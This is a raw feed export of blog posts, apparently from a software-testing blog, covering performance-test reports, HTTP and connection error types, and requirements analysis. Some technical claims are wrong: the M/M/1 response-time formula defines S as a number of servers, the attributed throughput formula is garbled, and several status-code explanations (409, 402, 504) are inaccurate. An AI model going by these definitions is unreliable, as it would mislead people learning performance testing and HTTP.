&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #4c1130;&quot;&gt;Types of errors:&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;&lt;u&gt;&lt;span style=&quot;color: #073763;&quot;&gt;&lt;a href=&quot;http://testingsaraswat.blogspot.in/2012/07/type-of-error.html&quot; target=&quot;_blank&quot;&gt;“&lt;b&gt;Http errors” and “Server errors”&lt;/b&gt;&lt;/a&gt;&lt;/span&gt;&lt;/u&gt;&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;300  Multiple Choices&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;301  Moved Permanently&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;302  Found&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;303  See Other&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;304  Not Modified&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;305  Use Proxy&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;307  Temporary Redirect&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;400  Bad Request&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;401  Unauthorized&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;402  Payment Required&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;403  Forbidden&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;404  Not Found&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;405  Method Not Allowed&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;406  Not Acceptable&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;407  Proxy Authentication Required&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;408  Request Timeout&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;409  Conflict&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;410  Gone&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;411  Length Required&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;412  Precondition Failed&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;413  Request Entity Too Large&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;414  Request-URI Too Large&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;415  Unsupported Media Type&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;416  Requested Range Not Satisfiable&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;417  Expectation Failed&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;500  Internal Server Error&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;501  Not Implemented&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;502  Bad Gateway&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;503  Service Unavailable&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;504  Gateway Timeout&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;505  HTTP Version not supported&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;&lt;u&gt;&lt;span style=&quot;color: #073763;&quot;&gt;“&lt;b&gt;connection errors” &lt;/b&gt;&lt;/span&gt;&lt;/u&gt; &lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;Cannot find server or DNS Error.&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;cannot open the Internet site &amp;lt;Web address&amp;gt;. The operation timed out.&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;connection timed out.&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;&lt;u&gt;&lt;span style=&quot;color: #073763;&quot;&gt;“&lt;b&gt;&amp;nbsp;Parameterization&amp;nbsp;errors ”&lt;/b&gt;&lt;/span&gt;&lt;/u&gt;&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;Parametrization error may occur due to data constraints, wrong attribute and iterations.  &lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;&lt;u&gt;&lt;b&gt;&lt;span style=&quot;color: #073763;&quot;&gt;&quot;Response Validation Error Details&quot;&lt;/span&gt;&lt;/b&gt;&lt;/u&gt;&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;Some time application return status response 200 but response may be wrong.  &lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #4c1130;&quot;&gt;Reports:&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #073763;&quot;&gt;User Details  (Active Users vs Elapsed Time)&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;User Details should provide  the number of Virtual Users active during the test run. You must verify the Active User Count at various intervals to see to it that the right load has been generated.&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #073763;&quot;&gt;Hits per Second &lt;/span&gt;&lt;/b&gt; &lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;Hits per Second helps you evaluate the amount of load Virtual Users generate, in terms of the number of requests to the server. More the number of hits, more is the load on the server. Http request can  fora web page, an image, a style sheet, some JavaScript, a video file, etc.&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #073763;&quot;&gt;Response time&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;Response Time is total time from once request made till completion.&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;Response time can be calculated  based on queuing model M/M/1.&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;Formula is  &lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;R= S/1-U.&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;where  R is response time&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;S is No of server&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;U is utilization&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #073763;&quot;&gt;Response Time  (mean value,Server response time, active user count)&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;From Response Time report  it is possible to identify peaks in the response time over a period of time. Helps to identify issues when server is continuously loaded for long duration of time.&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #073763;&quot;&gt;Response Time  (per Transaction)&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;From this graph it is possible to identify peaks in the response time for transactions and then proceed to analyze the response times of individual pages.&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #073763;&quot;&gt;Throughput:&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;through put is total amount of data. it is represented in Bit/ seconds or KB/seconds.&lt;b&gt; Little&#39;s theory &lt;/b&gt; is used to calculate throughput i.e If a number of customers N are observed in a queue in a stable system and served in a period of time T and there are an equal number of arrivals A and leavers L, then, throughput is defined as X = A/T = L/T&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;Response time, the long-term average time spent resident in the queue and being served is R and R = N / X.&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;&lt;b&gt;Menasce &amp;amp; Almeida&lt;/b&gt;  derived formula for throughput is  &lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;Server throughput = No of real simultaneous user*[response time /(response time + Think Time)].&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #073763;&quot;&gt;Server CPU vs Elapsed time&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;Application use the different kind of server. This report provide information about utilization of  data base server and Application server( also others if used).   &lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;margin-bottom: 0in;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://testingsaraswat.blogspot.com/feeds/176325382359418317/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://testingsaraswat.blogspot.com/2012/08/performance-testing-at-glance.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6016883797447015575/posts/default/176325382359418317'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6016883797447015575/posts/default/176325382359418317'/><link rel='alternate' type='text/html' href='http://testingsaraswat.blogspot.com/2012/08/performance-testing-at-glance.html' title='Performance testing at a glance'/><author><name>Prabhanshu saraswat</name><uri>http://www.blogger.com/profile/14945080239084113508</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6016883797447015575.post-8958037669011397705</id><published>2012-07-30T12:07:00.001+05:30</published><updated>2012-07-30T12:07:55.775+05:30</updated><title type='text'>Types of error ...</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;&lt;b&gt;Connection errors:&lt;/b&gt;&lt;br /&gt;
Connection errors are established due to host and client connection. &lt;br /&gt;
following types of errors can occurs:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;&lt;li&gt;Invalid URL&lt;/li&gt;
&lt;li&gt;Host Not Found&lt;/li&gt;
&lt;li&gt;Time Out&lt;/li&gt;
&lt;li&gt;Connection Refused&lt;/li&gt;
&lt;li&gt;No Response from Web Server&lt;/li&gt;
&lt;li&gt;Unexpected Error&lt;/li&gt;
&lt;/ul&gt;&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;
&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;Parameterization&amp;nbsp;errors:&lt;/b&gt;&lt;br /&gt;
Parameterization errors are occurs  due to unexpected use of data properties like type, size, value, format... etc. Even though data may be correct but the type of storage or format of file containing data may produce parametrization error.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Http errors and Server errors:&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
300-The address is actually pointing to two multiple files and/or locations.&lt;br /&gt;
301-The requested page has been permanently moved. The server will automatically redirect you to the new location.&lt;br /&gt;
302-The requested page has been temporarily moved. The server will automatically redirect you to the new location.&lt;br /&gt;
303-The requested data is stored in an alternate location and the GET method will be used to retrieve the data. If the actual error is returned then this may be due to a web server misconfiguration.&lt;br /&gt;
304-The requested data has not been modified since the last request.&lt;br /&gt;
305-The requested data may only be accessed via the use of a proxy server.&lt;br /&gt;
307-The requested page has been moved. The server will automatically redirect you to the new location. Unlike Error 301 and 302 however, the server has not specified whether the move is temporary or permanent.&lt;br /&gt;
-----------------------------------------------------------&lt;br /&gt;
400-The request was denied due to a syntax error in the request.&lt;br /&gt;
401-Your IP address or the user name/password you entered were not correct. Your request was denied as you have no permission to access the data&lt;br /&gt;
402-The data is not accessible at the time. The owner of the space has not yet payed their service provider.&lt;br /&gt;
403-Your IP address or the user name/password you entered were not correct. Your request was denied as you have no permission to access the data. OR The server was unable to serve the data that was requested.&lt;br /&gt;
404-The document that has been requested either no longer exists, or has never existed on the server.&lt;br /&gt;
405- The method you are using to access the document is not allowed. Possible methods include:(CONNECT,DELETE,GET,HEAD,OPTIONS,POST,PUT,TRACE)&lt;br /&gt;
406-The client (web browser) does not accept the document format. The formats that may be specified not to accept are char set, encoding, certain file types, languages, or ranges.&lt;br /&gt;
407-The browser has not been authenticated on the required proxy server to access the data. This error is probably most commonly returned by content filters/parental controls.&lt;br /&gt;
408-The server has closed the socket due to communications between the client and server taking too long. This could be due to server load, bandwidth issues, the client being disconnected from the internet, etc.&lt;br /&gt;
409-Too many requests for the same file at one time. OR There is a conflict with an established software rule. (ie: you are trying to copy over a file with an older version, or you do not have permissions to delete a file) OR This could be caused by a DNS issue.&lt;br /&gt;
410-This is like a 404 error in that the document requested is not on the server, however this differs in that the server &#39;knows&#39; that the file used to be there and &#39;believes&#39; that the file may be back, so it returns 410 rather 404.&lt;br /&gt;
411-When trying to send a document to the server the server did not receive a Content-Length specification in the header.&lt;br /&gt;
412-A precondition setting required by the client or server has not been met.&lt;br /&gt;
413-The process is too large to process. (ie: a file you are trying to upload is too large to fit on the server, or a web page you are trying to download is too large for the server to process)&lt;br /&gt;
414-The URL requested is simply too long. It is most likely more than 1024, 2048, or 4096 characters in length.&lt;br /&gt;
415-This usually occurs if the server does not support the type of media the client is requesting. (ie: the server does not support streaming media, but streaming media is on the server and the client is attempting to access it)&lt;br /&gt;
416-The client request included a range for acceptable file size, however the document requested did not fit into that range.&lt;br /&gt;
417-The client&#39;s expect header requested certain server behaviors that the server could not perform.&lt;br /&gt;
---------------------------------------------------------------&lt;br /&gt;
500-The server encountered an error. This is most often caused by a scripting problem, a failed database access attempt, or other similar reasons&lt;br /&gt;
501-The method you are using to access the document can not be performed by the server.&lt;br /&gt;
502-The document requested resides on a 3rd party server and the original server received an error from the 3rd party server.&lt;br /&gt;
503-The server is overloaded or down for maintenance and due to this was unable to process the client request.&lt;br /&gt;
504-Most likely the client has lost connectivity (disconnected from the internet) or the client&#39;s host is having technical difficulties. This could also mean that a server that allows access to the requested server is down, having bandwidth/load issues, or otherwise unavailable.&lt;br /&gt;
505-The server does not support the HTTP version used by the client. (This usually occurs if the server is using an OLDER version of HTTP than the client.)&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://testingsaraswat.blogspot.com/feeds/8958037669011397705/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://testingsaraswat.blogspot.com/2012/07/type-of-error.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6016883797447015575/posts/default/8958037669011397705'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6016883797447015575/posts/default/8958037669011397705'/><link rel='alternate' type='text/html' href='http://testingsaraswat.blogspot.com/2012/07/type-of-error.html' title='Types of error ...'/><author><name>Prabhanshu saraswat</name><uri>http://www.blogger.com/profile/14945080239084113508</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6016883797447015575.post-2789828873464287865</id><published>2012-04-24T18:14:00.000+05:30</published><updated>2012-05-11T11:01:32.144+05:30</updated><category scheme="http://www.blogger.com/atom/ns#" term="Requirement Analysis"/><title type='text'>Requirements Analysis A quick View</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;div style=&quot;color: black; margin-bottom: 0in;&quot;&gt;
&lt;b&gt;Requirements Analysis:&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;color: black; margin-bottom: 0in;&quot;&gt;
Software engineering task bridging the gap between system requirements engineering and software design.&lt;/div&gt;
&lt;div style=&quot;color: black; margin-bottom: 0in;&quot;&gt;
Requirement  analysis Fills  the pit fall of Software organization. Application  requirement are  changed day by day but base line and design is a  construct which can be modified but not changed. such scope of future  requirement and changes of requirement, Necessity of requirements  must  analysand before implementation.&lt;/div&gt;
&lt;div style=&quot;color: black; margin-bottom: 0in;&quot;&gt;
------------------------------------------------------------------------------------------------------------------------&lt;/div&gt;
&lt;div style=&quot;color: black; margin-bottom: 0in;&quot;&gt;
&lt;b&gt;Profit:&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;color: black; margin-bottom: 0in;&quot;&gt;
Financial Analysis Clears the “Profit Haze&quot;&lt;/div&gt;
&lt;div style=&quot;color: black; margin-bottom: 0in;&quot;&gt;
Clear design and Scope&lt;/div&gt;
&lt;div style=&quot;color: black; margin-bottom: 0in;&quot;&gt;
Best User and development support&lt;/div&gt;
&lt;div style=&quot;color: black; margin-bottom: 0in;&quot;&gt;
Low  change in system design  &lt;/div&gt;
&lt;div style=&quot;color: black; margin-bottom: 0in;&quot;&gt;
Reduce cost of maintenance  &lt;/div&gt;
&lt;div style=&quot;color: black; margin-bottom: 0in;&quot;&gt;
&lt;b&gt;Disadvantage:&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;color: black; margin-bottom: 0in;&quot;&gt;
Extra Cost for analysis ( who will pay)&lt;/div&gt;
&lt;div style=&quot;color: black; margin-bottom: 0in;&quot;&gt;
Time ( rapid development require and quick development may halt)&lt;/div&gt;
&lt;div style=&quot;color: black; margin-bottom: 0in;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;color: black; margin-bottom: 0in;&quot;&gt;
------------------------------------------------------------------------------------------------------------------------&lt;/div&gt;
&lt;div style=&quot;color: black; margin-bottom: 0in;&quot;&gt;
&lt;b&gt;Analysis Objectives:&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;color: black; margin-bottom: 0in;&quot;&gt;
Identify customer’s needs.&lt;/div&gt;
&lt;div style=&quot;color: black; margin-bottom: 0in;&quot;&gt;
Evaluate system for feasibility.&lt;/div&gt;
&lt;div style=&quot;color: black; margin-bottom: 0in;&quot;&gt;
Perform economic and technical analysis.&lt;/div&gt;
&lt;div style=&quot;color: black; margin-bottom: 0in;&quot;&gt;
Allocate functions to system elements.&lt;/div&gt;
&lt;div style=&quot;color: black; margin-bottom: 0in;&quot;&gt;
Establish schedule and constraints.&lt;/div&gt;
&lt;div style=&quot;color: black; margin-bottom: 0in;&quot;&gt;
Create system definitions.&lt;/div&gt;
&lt;div style=&quot;color: black; margin-bottom: 0in;&quot;&gt;
----------------------------------------------------------------------------------------------------------------------&lt;/div&gt;
&lt;div style=&quot;color: black; margin-bottom: 0in;&quot;&gt;
&lt;b&gt;What Vs How dilemma&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;color: black; margin-bottom: 0in;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;color: black; margin-bottom: 0in;&quot;&gt;
We learn what the user needs are.&lt;/div&gt;
&lt;div style=&quot;color: black; margin-bottom: 0in;&quot;&gt;
We propose how to address them by defining system requirements.&lt;/div&gt;
&lt;div style=&quot;color: black; margin-bottom: 0in;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;color: black; margin-bottom: 0in;&quot;&gt;
We specify what we are going to build in system requirements.&lt;/div&gt;
&lt;div style=&quot;color: black; margin-bottom: 0in;&quot;&gt;
We describe how to address this by designing the system.&lt;/div&gt;
&lt;div style=&quot;color: black; margin-bottom: 0in;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;color: black; margin-bottom: 0in;&quot;&gt;
The system design says what we are going to build.&lt;/div&gt;
&lt;div style=&quot;color: black; margin-bottom: 0in;&quot;&gt;
The software requirements tell how we will build part of the system in software.&lt;/div&gt;
&lt;div style=&quot;color: black; margin-bottom: 0in;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;color: black; margin-bottom: 0in;&quot;&gt;
The software requirements tell what we will build in software.&lt;/div&gt;
&lt;div style=&quot;color: black; margin-bottom: 0in;&quot;&gt;
The software design how we are going to structure the software.&lt;/div&gt;
&lt;div style=&quot;color: black; margin-bottom: 0in;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;color: black; margin-bottom: 0in;&quot;&gt;
The software design tells what software structure we will build.&lt;/div&gt;
&lt;div style=&quot;color: black; margin-bottom: 0in;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;color: black; margin-bottom: 0in;&quot;&gt;
The code tells how this will be implemented.&lt;/div&gt;
&lt;div style=&quot;color: black; margin-bottom: 0in;&quot;&gt;
-------------------------------------------------------------------------------------------------------------------------&lt;/div&gt;
&lt;div style=&quot;color: black; margin-bottom: 0in;&quot;&gt;
&lt;b&gt;Requirements Analysis Document (RAD)(IEEE 830)&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;color: black; margin-bottom: 0in;&quot;&gt;
1. Introduction&lt;/div&gt;
&lt;div style=&quot;color: black; margin-bottom: 0in;&quot;&gt;
&lt;b&gt; &lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;color: black; margin-bottom: 0in;&quot;&gt;
1.1 Purpose of the system&lt;/div&gt;
&lt;div style=&quot;color: black; margin-bottom: 0in;&quot;&gt;
1.2 Scope of the system&lt;/div&gt;
&lt;div style=&quot;color: black; margin-bottom: 0in;&quot;&gt;
1.3 Objectives and success criteria of the project&lt;/div&gt;
&lt;div style=&quot;color: black; margin-bottom: 0in;&quot;&gt;
1.4 Definitions, Acronyms, and abbreviations&lt;/div&gt;
&lt;div style=&quot;color: black; margin-bottom: 0in;&quot;&gt;
2. Current System&lt;/div&gt;
&lt;div style=&quot;color: black; margin-bottom: 0in;&quot;&gt;
3. Proposed System&lt;/div&gt;
&lt;div style=&quot;color: black; margin-bottom: 0in;&quot;&gt;
3.1 Overview&lt;/div&gt;
&lt;div style=&quot;color: black; margin-bottom: 0in;&quot;&gt;
3.2 Functional Requirements&lt;/div&gt;
&lt;div style=&quot;color: black; margin-bottom: 0in;&quot;&gt;
3.2.1 User&lt;/div&gt;
&lt;div style=&quot;color: black; margin-bottom: 0in;&quot;&gt;
3.2.2 Optional Capabilities&lt;/div&gt;
&lt;div style=&quot;color: black; margin-bottom: 0in;&quot;&gt;
(There  are numerous extensions that one might consider for this project. You  will not be graded on whether you have satisfied any of these  requirements, yet we must provided them)&lt;/div&gt;
&lt;div style=&quot;color: black; margin-bottom: 0in;&quot;&gt;
3.3 Nonfunctional Requirements&lt;/div&gt;
&lt;div style=&quot;color: black; margin-bottom: 0in;&quot;&gt;
3.3.1 Usability&lt;/div&gt;
&lt;div style=&quot;color: black; margin-bottom: 0in;&quot;&gt;
3.3.2 Reliability  &lt;/div&gt;
&lt;div style=&quot;color: black; margin-bottom: 0in;&quot;&gt;
3.3.3 Performance&lt;/div&gt;
&lt;div style=&quot;color: black; margin-bottom: 0in;&quot;&gt;
3.3.4 Supportability&lt;/div&gt;
&lt;div style=&quot;color: black; margin-bottom: 0in;&quot;&gt;
3.3.5 Implementation&lt;/div&gt;
&lt;div style=&quot;color: black; margin-bottom: 0in;&quot;&gt;
3.4 System Models&lt;/div&gt;
&lt;div style=&quot;color: black; margin-bottom: 0in;&quot;&gt;
3.4.1 Scenarios&lt;/div&gt;
&lt;div style=&quot;color: black; margin-bottom: 0in;&quot;&gt;
Not present&lt;/div&gt;
&lt;div style=&quot;color: black; margin-bottom: 0in;&quot;&gt;
3.4.2 Use case model&lt;/div&gt;
&lt;div style=&quot;color: black; margin-bottom: 0in;&quot;&gt;
4. Extended Use Cases&lt;/div&gt;
&lt;div style=&quot;color: black; margin-bottom: 0in;&quot;&gt;
(Some  of the details in these use cases implies a specific user interface  modality, which we are suggesting because of the implied simplicity in  implementing application.)&lt;/div&gt;
&lt;div style=&quot;color: black; margin-bottom: 0in;&quot;&gt;
5. Sample GUI&lt;/div&gt;
&lt;div style=&quot;color: black; margin-bottom: 0in;&quot;&gt;
6. Appendix  &lt;/div&gt;
&lt;div style=&quot;color: black; margin-bottom: 0in;&quot;&gt;
7. End Notes&lt;/div&gt;
&lt;div style=&quot;color: black; margin-bottom: 0in;&quot;&gt;
--------------------------------------------------------------------------------------------------------------------------&lt;/div&gt;
&lt;div style=&quot;color: black; margin-bottom: 0in;&quot;&gt;
&lt;b&gt;Gap Analysis &lt;/b&gt; &lt;/div&gt;
&lt;div style=&quot;color: black; margin-bottom: 0in;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;color: black; margin-bottom: 0in;&quot;&gt;
Gap  Analysis is the process of comparing two things in order to determine  the difference or “gap” that exists between them.   Once the gap is  understood, the steps required to bridge the gap can be determined.&lt;/div&gt;
&lt;div style=&quot;color: black; margin-bottom: 0in;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;color: black; margin-bottom: 0in;&quot;&gt;
Most  often gap analysis is used to compare two different states of  something; the current state and the future state.  But Gap can analyzed  with user requirements and Organization  functional procedures with  standardization.  &lt;/div&gt;
&lt;div style=&quot;color: black; margin-bottom: 0in;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;color: black; margin-bottom: 0in;&quot;&gt;
-------------------------------------------------------------------------------------------------------------------------&lt;/div&gt;
&lt;div style=&quot;color: black; margin-bottom: 0in;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;color: black; margin-bottom: 0in;&quot;&gt;
&lt;b&gt;Gap analysis can be conducted on:&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;color: black; margin-bottom: 0in;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;color: black; margin-bottom: 0in;&quot;&gt;
a system – features that exist in the system now versus the features that need to exist in the future&lt;/div&gt;
&lt;div style=&quot;color: black; margin-bottom: 0in;&quot;&gt;
a system interface – data that a system provides to an interface now versus data that will need to be provided in the future&lt;/div&gt;
&lt;div style=&quot;color: black; margin-bottom: 0in;&quot;&gt;
a  business process – activities and steps of a current business process  versus the activities and steps that will be supported by the business  process in the future&lt;/div&gt;
&lt;div style=&quot;color: black; margin-bottom: 0in;&quot;&gt;
business  goals and  metrics – how well a business meets certain goals and  metrics now versus the targeted goals and metrics at some point in the  future.&lt;/div&gt;
&lt;div style=&quot;color: black; margin-bottom: 0in;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;color: black; margin-bottom: 0in;&quot;&gt;
---------------------------------------------------------------------------------------------------------------------------&lt;/div&gt;
&lt;div style=&quot;color: black; margin-bottom: 0in;&quot;&gt;
